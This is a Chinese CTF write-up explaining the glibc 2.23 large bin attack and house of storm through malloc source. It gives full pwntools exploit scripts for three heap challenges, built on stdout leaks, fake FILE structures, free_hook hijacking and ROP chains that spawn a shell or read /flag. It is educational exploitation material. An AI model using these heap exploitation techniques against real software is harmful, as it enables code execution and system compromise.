large bin attack是一种堆利用手法,而house of strom则是在large bin attack的基础上借用unsorted bin来达到任意地址分配,首先我们从源码入手来分析large bin attack原理,然后再讲讲house of strom的原理,接着再看几个题目。
为例方便分析,以2.23为例,新版本有tcache的情况类似,只需填满tcache bin绕过tcache即可。
在free的时候,chunk要么被放入fastbin,要么就被放到unsorted bin。当我们再次malloc的时候,[如果对unsorted bin做了遍历,unsorted bin里的chunk才会被放到对应的bin里]{.mark} ,比如large bin、small bin。比如我在unsorted bin里有一个size为0x420的chunk,那么它会被放到对应的large bin里。而large bin attack就是利用了unsorted bin里未归位的chunk插入到large bin时的解链、成链操作。来看一段malloc中的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 1. for (;; ) 2. { 3. int iters = 0 ; 4. while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) 5. { 6. bck = victim->bk; 7. if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0 ) 8. || __builtin_expect (victim->size > av->system_mem, 0 )) 9. malloc_printerr (check_action, "malloc(): memory corruption" , 10. chunk2mem (victim), av); 11. size = chunksize (victim); 12. 13. .......................... 14. 15. if (in_smallbin_range (size)) 16. { 17. victim_index = smallbin_index (size); 18. bck = bin_at (av, victim_index); 19. fwd = bck->fd; 20. } 21. else 22. { 23. victim_index = largebin_index (size); 24. bck = bin_at (av, victim_index); 25. fwd = bck->fd; 26. 27. 28. if (fwd != bck) 29. { 30. 31. size |= PREV_INUSE; 32. 33. assert ((bck->bk->size & NON_MAIN_ARENA) == 0 ); 34. if ((unsigned long ) (size) < (unsigned long ) (bck->bk->size)) 35. { 36. fwd = bck; 37. bck = bck->bk; 38. 39. victim->fd_nextsize = fwd->fd; 40. victim->bk_nextsize = fwd->fd->bk_nextsize; 41. fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; 42. } 43. else 44. { 45. assert ((fwd->size & NON_MAIN_ARENA) == 0 ); 46. while ((unsigned long ) size < fwd->size) 47. { 48. fwd = fwd->fd_nextsize; 49. assert ((fwd->size & NON_MAIN_ARENA) == 0 ); 50. } 51. 52. if ((unsigned long ) size == (unsigned long ) fwd->size) 53. 54. fwd = fwd->fd; 55. else 56. { 57. victim->fd_nextsize = fwd; 58. victim->bk_nextsize = fwd->bk_nextsize; 59. fwd->bk_nextsize = victim; 60. victim->bk_nextsize->fd_nextsize = victim; 61. } 62. bck = fwd->bk; 63. } 64. } 65. else 66. victim->fd_nextsize = victim->bk_nextsize = victim; 67. } 68. 69. mark_bin (av, victim_index); 70. victim->bk = bck; 71. victim->fd = fwd; 72. fwd->bk = victim; 73. bck->fd = victim; 74. 75. define MAX_ITERS 10000 76. if (++iters >= MAX_ITERS) 77. break ; 78. }
首先,victim就是unsorted bin chunk,也就在unsorted bin里未归位的large bin chunk。而fwd就是large bin的chunk。从上来看,首先,在unsorted bin里我们得有一个large bin chunk,并且在large bin里,我们也要有一个chunk,但是,我们得**[保证unsorted bin里的那个large bin chunk的size要比large bin里已有的这个chunk的size要大一点,但是都属于同一个index。]{.mark}**
这样做的目的是我们想绕过前面的这一大块,直接到后面的那个else处。
然后,假设我们通过UAF或其他漏洞,控制了large bin里的这个chunk的bk_nextsize为addr1,那么**[victim->bk_nextsize->fd_nextsize = victim; //第一次任意地址写入unsorted bin chunk的地址]{.mark}** 也就是addr1->fd_nextsize = victim,也就是*(addr1+0x20) = victim,这就是第一次任意地址写一个堆地址;接下来,假如,我们还能控制large bin里那个chunk的bk为addr2,那么首先**[bck = fwd->bk;]{.mark}** 使得bck = addr2,接下来**[bck->fd = victim; //第二次任意地址写入unsorted bin chunk的地址]{.mark} *也就是addr2->fd = victim,也就是 (addr2+0x10) = victim。这样利用large bin attack,我们可以有两次往任意地址写入堆地址的机会。下面,我们就来看一道题。
starctf_2019_heap_master 首先,检查一下程序的保护机制
然后,我们用IDA分析一下
初始化
add函数
delete函数
edit函数
可以看到,这里面的edit,delete操作,都只是针对mmap出来的那片空间,而malloc出来的空间我们控制不了,无法写数据过去。也没有函数用于泄露。由此,我们可以使用large bin attack攻击IO_2_1_stdout结构体,第一次,将IO_2_1_stdout结构体的flags覆盖为堆地址,第二次利用错位将IO_2_1_stdout的_IO_write_base成员低1字节覆盖为0,这样就能泄露数据了。还有一点需要注意的是这个flags有要求
首先,我们需要绕过这两个if,这就要求低1字节的低4位不能为8,第二字节的低4位必须要为8,也就是,我们的unsorted bin chunk地址末尾地址应该为0x800这样
接下来,到达new_do_write,我们要让这个if成立
综上,我们的unsorted bin chunk的地址某位应该是这样的0x1800、0x3800、0x5800…这样的第二字节高4位为奇数即可,由于堆地址随机化,因此第二字节高4位我们不用管,随着堆的随机化总有一次符合要求。我们只需要满足低12bit即可,也就是,**[这个未归位的unsorted bin chunk,我们需要放到偏移0x800处。并且在最后,我们还需要再链入一个小的unsorted bin,]{.mark}**不然我们执行了large bin attack后,在unsorted bin里还没找到符合申请大小的chunk,就会把large bin切割,导致崩溃。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 1. 2. 3. edit(0 ,0x100 ,p64(0 ) + p64(0x421 ) + 'a' *0xF0 ) 4. 5. edit(0x420 ,0x20 ,p64(0 ) + p64(0x21 ) + 'b' *0x10 ) 6. 7. edit(0x440 ,0x20 ,p64(0 ) + p64(0x21 ) + 'b' *0x10 ) 8. 9. edit(0x880 ,0x100 ,p64(0 ) + p64(0x431 ) + 'c' *0xF0 ) 10. 11. edit(0xCB0 ,0x20 ,p64(0 ) + p64(0x21 ) + 'd' *0x10 ) 12. 13. edit(0xCD0 ,0x90 ,p64(0 ) + p64(0x91 ) + 'e' *0x80 ) 14. 15. edit(0xD60 ,0x20 ,p64(0 ) + p64(0x21 ) + 'f' *0x10 ) 16. 17. edit(0xD80 ,0x20 ,p64(0 ) + p64(0x21 ) + 'g' *0x10 )
如上,0将放入large bin,而3将作为在unsorted bin里未归位的large bin chunk,5将链入unsorted bin作为large bin attack以后的申请用。这样攻击了IO_2_1_stdout以后,我们就得到了glibc地址,然后,我们就可以利用house of orange来getshell了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 from pwn import *libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so' ) _IO_2_1_stdout_s = libc.sym['_IO_2_1_stdout_' ] def add (size ): sh.sendlineafter('>>' ,'1' ) sh.sendlineafter('size:' ,str (size)) def edit (offset,size,content ): sh.sendlineafter('>>' ,'2' ) sh.sendlineafter('offset:' ,str (offset)) sh.sendlineafter('size:' ,str (size)) sh.sendafter('content:' ,content) def delete (offset ): sh.sendlineafter('>>' ,'3' ) sh.sendlineafter('offset:' ,str (offset)) def exploit (): edit(0 ,0x100 ,p64(0 ) + p64(0x421 ) + 'a' *0xF0 ) edit(0x420 ,0x20 ,p64(0 ) + p64(0x21 ) + 'b' *0x10 ) edit(0x440 ,0x20 ,p64(0 ) + p64(0x21 ) + 'b' *0x10 ) edit(0x880 ,0x100 ,p64(0 ) + p64(0x431 ) + 'c' *0xF0 ) edit(0xCB0 ,0x20 ,p64(0 ) + p64(0x21 ) + 'd' *0x10 ) edit(0xCD0 ,0x90 ,p64(0 ) + p64(0x91 ) + 'e' *0x80 ) edit(0xD60 ,0x20 ,p64(0 ) + p64(0x21 ) + 'f' *0x10 ) edit(0xD80 ,0x20 ,p64(0 ) + p64(0x21 ) + 'g' *0x10 ) delete(0x10 ) add(0x430 ) edit(0x10 ,0xF0 ,p64(0 ) + p64(0x91 ) + 'a' *0x80 + (p64(0 ) + p64(0x21 ) + 'a' *0x10 ) * 3 ) delete(0x20 ) add(0x80 ) edit(0 ,0x10 ,p64(0 ) + p64(0xC1 )) delete(0x10 ) add(0xB0 ) edit(0x10 ,0xA ,p64(0 ) + p16((0x2 << 12 ) + ((_IO_2_1_stdout_s - 0x10 ) & 0xFFF ))) edit(0x20 ,0xA ,p64(0 ) + p16((0x2 << 12 ) + ((_IO_2_1_stdout_s + 0x20 - 0x20 - 0x7 ) & 0xFFF ))) edit(0 ,0x10 ,p64(0 ) + p64(0x421 )) delete(0x890 ) delete(0xCE0 ) add(0x80 ) sh.recv(1 ) sh.recv(0x18 ) libc_base = u64(sh.recv(8 )) - libc.symbols['_IO_file_jumps' ] print 'libc_base=' ,hex (libc_base) if libc_base >> 40 != 0x7F : raise Exception('leak error' ) _IO_list_all_addr = libc_base + libc.symbols['_IO_list_all' ] system_addr = libc_base + libc.sym['system' ] binsh_addr = libc_base + libc.search('/bin/sh' ).next () _IO_str_finish_ptr_addr = libc_base + 0x3C37B0 print '_IO_list_all_addr=' ,hex (_IO_list_all_addr) print '_IO_str_finish_ptr_addr=' ,hex (_IO_str_finish_ptr_addr) print 'system_addr=' ,hex (system_addr) print 'binsh_addr=' ,hex (binsh_addr) fake_file = p64(0 ) + p64(0x61 ) fake_file += p64(0 ) + p64(_IO_list_all_addr - 0x10 ) fake_file += p64(0 ) + p64(1 ) fake_file += p64(0 ) + p64(binsh_addr) fake_file = fake_file.ljust(0xC0 ,'\x00' ) fake_file += p64(0 )*3 fake_file += p64(_IO_str_finish_ptr_addr - 0x18 ) fake_file += p64(0 ) fake_file += p64(system_addr) delete(0xCE0 ) edit(0xCD0 ,len (fake_file),fake_file) add(1 ) while True : try : global sh sh = remote('node3.buuoj.cn' ,29960 ) exploit() sh.interactive() except : sh.close() print 'trying...'
house of strom 理解了large bin attack,接下来,我们就可以来看house of strom了,house of strom可以实现任意地址分配,看看前面的这道题,我们是将一个合法的unsorted bin chunk链接到unsorted bin里未归位的large bin chunk的bk处,[假设,我们将一个任意地址比如addr链接到unsorted bin里未归位的large bin chunk的bk处,然后执行large bin attack会发生什么。]{.mark}
那么,在large bin attack阶段不会有问题,只是接下来,继续遍历,取到我们链接上的这个chunk时,检查其size,不符合要求然后崩溃。我们可以利用前面的large bin attack,[先将addr处的size的位置写上一个堆指针,我们可以利用错位法,这样,在size处留下了chunk地址值的第6字节数据,在开启PIE的情况下,一般为0x55为0x56]{.mark} ,这样,我们malloc(0x40),遍历到第一个未归位的large bin chunk时,发生large bin attack,接下来遍历到后面这个任意地址的chunk时,发现size符合要求,直接返回给用户,就可以成功把这个任意地址的空间申请过来。
这就是house of strom的原理。
我们来看两道题
rctf_2019_babyheap 首先,检查一下程序的保护机制
沙箱禁用了execve调用,因此我们只能使用open、read、write来读flag
然后,我们用IDA分析一下,禁用fastbin,因此不能使用fastbin attack。
Edit功能存在null off by one漏洞。
Add功能里size比较自由
首先就是利用null off by one构造overlap chunk,然后利用malloc_consolidate将一个chunk放到large bin,另一个放到unsorted bin,然后利用overlap chunk去控制这两个bin的指针。然后malloc(0x48)触发large bin attack的同时将会把任意地址申请过来。
我们用house of strom申请到free_hook处,劫持free_hook为setcontext+xx处,这样就能将栈切换到堆里,我们提前在堆里布置好rop即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 from pwn import *context(os='linux' ,arch='amd64' ) sh = remote('node3.buuoj.cn' ,28529 ) libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so' ) malloc_hook_s = libc.symbols['__malloc_hook' ] free_hook_s = libc.symbols['__free_hook' ] setcontext_s = libc.sym['setcontext' ] open_s = libc.sym['open' ] read_s = libc.sym['read' ] write_s = libc.sym['write' ] def add (size ): sh.sendlineafter('Choice:' ,'1' ) sh.sendlineafter('Size:' ,str (size)) def edit (index,content ): sh.sendlineafter('Choice:' ,'2' ) sh.sendlineafter('Index:' ,str (index)) sh.sendafter('Content:' ,content) def delete (index ): sh.sendlineafter('Choice:' ,'3' ) sh.sendlineafter('Index:' ,str (index)) def show (index ): sh.sendlineafter('Choice:' ,'4' ) sh.sendlineafter('Index:' ,str (index)) add(0xF0 ) add(0x38 ) add(0x3F0 ) add(0x10 ) add(0xF0 ) add(0x48 ) add(0x3F0 ) add(0x100 ) delete(0 ) edit(1 ,'a' *0x30 + p64(0x40 + 0x100 )) delete(2 ) add(0xF0 ) show(1 ) sh.recv(1 ) main_arena_88 = u64(sh.recv(6 ).ljust(8 ,'\x00' )) malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000 ) + (malloc_hook_s & 0xFFF ) libc_base = malloc_hook_addr - malloc_hook_s free_hook_addr = libc_base + free_hook_s setcontext_addr = libc_base + setcontext_s write_addr = libc_base + write_s open_addr = libc_base + open_s read_addr = libc_base + read_s pop_rdi = libc_base + 0x0000000000021102 pop_rsi = libc_base + 0x00000000000202e8 pop_rdx = libc_base + 0x0000000000001b92 print 'libc_base=' ,hex (libc_base)print 'free_hook_addr=' ,hex (free_hook_addr)print 'setcontext_addr=' ,hex (setcontext_addr)add(0x430 ) delete(4 ) edit(5 ,'b' *0x40 + p64(0x50 + 0x100 )) delete(6 ) add(0xF0 ) add(0x440 ) delete(2 ) add(0x500 ) delete(6 ) fake_chunk = free_hook_addr - 0x10 edit(5 ,p64(0 ) + p64(fake_chunk)) payload = p64(0 ) + p64(fake_chunk + 0x8 ) payload += p64(0 ) + p64(fake_chunk - 0x18 - 0x5 ) edit(1 ,payload) add(0x48 ) '''mov rsp, [rdi+0A0h] ...''' rop = p64(0 ) + p64(pop_rsi) + p64(free_hook_addr + 0x40 ) + p64(pop_rdx) + p64(0x200 ) + p64(read_addr) payload = p64(setcontext_addr + 0x35 ) + '\x00' *0x8 payload += rop edit(6 ,payload) edit(7 ,'a' *0xA0 + p64(free_hook_addr + 0x10 ) + p64(pop_rdi)) delete(7 ) flag_addr = free_hook_addr + 0x40 + 0x98 rop2 = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0 ) + p64(open_addr) rop2 += p64(pop_rdi) + p64(3 ) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30 ) + p64(read_addr) rop2 += p64(pop_rdi) + p64(1 ) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30 ) + p64(write_addr) rop2 += '/flag\x00' sleep(1 ) sh.send(rop2) sh.interactive()
0ctf_2018_heapstorm2 首先,检查一下程序的保护机制
然后,我们用IDA分析一下
存在一个null off by one漏洞,但是prev_size不可控。
由此,我们可以使用shrink unsorted bin的方法来构造overlap chunk。
Show功能需要满足条件才能使用
因此,我们需要利用house of strom申请到堆指针数组处,也就是0x13370800这个地址处,然后控制其里面的数据,使得我们能够调用show,进而泄露地址,然后通过edit去修改free_hook,从而getshell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 from pwn import *sh = process('./0ctf_2018_heapstorm2' ) libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so' ) malloc_hook_s = libc.sym['__malloc_hook' ] free_hook_s = libc.sym['__free_hook' ] system_s = libc.sym['system' ] binsh_s = libc.search('/bin/sh' ).next () def add (size ): sh.sendlineafter('Command:' ,'1' ) sh.sendlineafter('Size:' ,str (size)) def edit (index,size,content ): sh.sendlineafter('Command:' ,'2' ) sh.sendlineafter('Index:' ,str (index)) sh.sendlineafter('Size:' ,str (size)) sh.sendafter('Content:' ,content) def delete (index ): sh.sendlineafter('Command:' ,'3' ) sh.sendlineafter('Index:' ,str (index)) def show (index ): sh.sendlineafter('Command:' ,'4' ) sh.sendlineafter('Index:' ,str (index)) add(0x18 ) add(0x410 ) add(0x80 ) add(0x18 ) add(0x420 ) add(0x80 ) add(0x10 ) edit(1 ,0x400 ,'b' *0x3F0 + p64(0x400 ) + p64(0x21 )) delete(1 ) edit(0 ,0x18 -0xC ,'a' *(0x18 -0xC )) add(0x80 ) add(0x360 ) delete(1 ) delete(2 ) add(0x80 ) add(0x410 ) edit(4 ,0x400 ,'d' *0x3F0 + p64(0x400 ) + p64(0x31 )) delete(4 ) edit(3 ,0x18 -0xC ,'c' *(0x18 -0xC )) add(0x80 ) add(0x360 ) delete(4 ) delete(5 ) add(0x80 ) add(0x420 ) delete(2 ) add(0x500 ) delete(5 ) fake_chunk = 0x0000000013370800 - 0x10 edit(8 ,0x10 ,p64(0 ) + p64(fake_chunk)) edit(7 ,0x20 ,p64(0 ) + p64(fake_chunk + 0x8 ) + p64(0 ) + p64(fake_chunk - 0x18 -0x5 )) add(0x48 ) edit(5 ,0x30 ,p64(0 )*2 + p64(0x13377331 ) + p64(0 ) + p64(fake_chunk + 0x40 ) + p64(0x48 )) edit(0 ,0x10 ,p64(0x00000000133707F3 ) + p64(0x8 )) show(1 ) sh.recvuntil('Chunk[1]: ' ) heap_addr = u64(sh.recv(6 ).ljust(8 ,'\x00' )) print 'heap_addr=' ,hex (heap_addr)edit(0 ,0x10 ,p64(heap_addr + 0x10 ) + p64(0x8 )) show(1 ) sh.recvuntil('Chunk[1]: ' ) main_arena_88 = u64(sh.recv(6 ).ljust(8 ,'\x00' )) malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000 ) + (malloc_hook_s & 0xFFF ) libc_base = malloc_hook_addr - malloc_hook_s free_hook_addr = libc_base + free_hook_s system_addr = libc_base + system_s binsh_addr = libc_base + binsh_s print 'libc_base=' ,hex (libc_base)print 'free_hook_addr=' ,hex (free_hook_addr)print 'system_addr=' ,hex (system_addr)print 'binsh_addr=' ,hex (binsh_addr)edit(0 ,0x10 ,p64(free_hook_addr) + p64(0x8 )) edit(1 ,0x8 ,p64(system_addr)) edit(0 ,0x10 ,p64(binsh_addr) + p64(0x8 )) delete(1 ) sh.interactive()